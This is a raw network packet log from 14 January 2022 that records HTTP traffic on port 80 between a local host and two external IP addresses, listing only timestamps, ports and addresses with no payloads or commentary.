Jan 14, 2022 01:51:48.418747902 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.418776989 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418814898 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418853045 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418874025 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.418889046 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418890953 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.418926954 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418963909 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.418987989 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.419002056 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419039965 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.419076920 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.419114113 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419152021 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419187069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.419224977 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419261932 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419301033 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419339895 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419390917 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419429064 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419466972 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419503927 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419540882 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419579029 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419615030 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419653893 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419691086 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419725895 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.419728994 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419749022 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.419768095 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419805050 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419805050 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.419842958 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419855118 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.419881105 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419917107 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419955969 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.419969082 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.419994116 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.420016050 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.420032024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.420047998 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.420070887 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.420128107 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.422168016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422209024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422249079 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422291994 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.422296047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422334909 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422355890 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.422374010 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422411919 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422440052 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.422450066 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422488928 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422509909 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.422528982 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422569036 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422605038 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422633886 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.422645092 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422662973 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.422688961 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422727108 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422755003 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.422765970 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422805071 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422842979 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422868013 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.422883987 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422894955 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.422921896 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422961950 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.422992945 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.423001051 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423038960 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423075914 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423090935 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.423114061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423126936 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.423152924 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423192024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423227072 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423247099 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.423264980 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423280001 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.423304081 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423341036 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423377991 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423413992 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423451900 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423490047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423526049 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423563004 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423602104 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423638105 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423676014 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423712015 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423749924 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423789978 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423825979 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423863888 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423902035 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423938036 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.423975945 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.424014091 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.424052000 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.424091101 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.424093008 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.424119949 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.424128056 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.424166918 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.424204111 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.424221992 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.424241066 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.424256086 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.424278975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.424315929 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.424374104 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.464513063 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464560032 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464598894 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464641094 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464679956 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464704037 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.464720011 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464735031 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.464760065 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464788914 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.464802027 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464843988 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464857101 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.464881897 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464895964 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.464922905 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464962006 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.464999914 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465018034 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465039968 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465044022 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465080023 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465117931 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465132952 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465158939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465195894 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465210915 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465234995 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465271950 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465285063 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465308905 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465347052 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465359926 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465384960 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465424061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465439081 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465464115 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465501070 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465517044 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465539932 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465576887 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465622902 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465636969 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465662003 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465676069 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465699911 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465737104 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465754032 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465774059 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465812922 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465826988 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465872049 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465920925 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465935946 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.465960026 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.465996981 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466012955 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.466036081 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466073990 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466088057 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.466110945 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466149092 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466164112 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.466187000 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466226101 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466238976 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.466264963 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466300964 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466316938 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.466339111 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466377020 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466393948 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.466413021 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466451883 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466465950 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.466490030 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466527939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466561079 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.466566086 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466603041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466619015 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.466643095 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466680050 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466716051 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466730118 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.466753960 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466759920 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.466793060 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466830969 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.466846943 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.470556974 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.470599890 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.470640898 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.470678091 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.470704079 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.470719099 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.470732927 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.470757961 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.470797062 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.470837116 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.470849991 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.470874071 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.470912933 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.470916986 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.470952034 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.470988035 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471000910 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471025944 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471033096 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471065044 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471103907 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471117020 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471143961 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471179962 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471193075 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471218109 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471256971 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471292973 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471306086 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471330881 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471369028 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471374989 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471406937 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471411943 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471446037 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471482038 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471493959 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471519947 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471556902 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471570969 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471592903 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471632957 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471640110 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471669912 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471708059 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471714020 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471746922 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471784115 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471836090 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471848965 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471874952 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471910954 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471925974 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471949100 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.471949100 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.471987009 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.472023964 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.472037077 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.472060919 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.472098112 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.472110987 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.472136021 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.472173929 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.472209930 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.472222090 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.472248077 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.472285986 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.472300053 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.472322941 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.472328901 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.472361088 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.472409964 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.494704008 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.494750977 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.494791031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.494827986 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.494865894 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.494874001 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.494904995 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.494904995 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.494945049 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.494968891 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.494985104 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.495022058 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.495038986 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.495059967 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.495074034 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.495099068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.495136976 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.495151997 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.495337009 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.495376110 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.495414019 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.495430946 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.495455980 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.495477915 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.495495081 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.495536089 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.495554924 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.499067068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499108076 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499146938 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499186993 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499196053 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.499227047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499243975 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.499268055 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499286890 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.499305964 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499345064 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499358892 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.499383926 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499423027 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499460936 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499475002 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.499500036 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499511957 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.499541998 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499583006 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499600887 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.499628067 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499670029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499684095 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.499708891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499747038 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499785900 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499799967 CET	49863	80	192.168.2.3	141.8.194.74
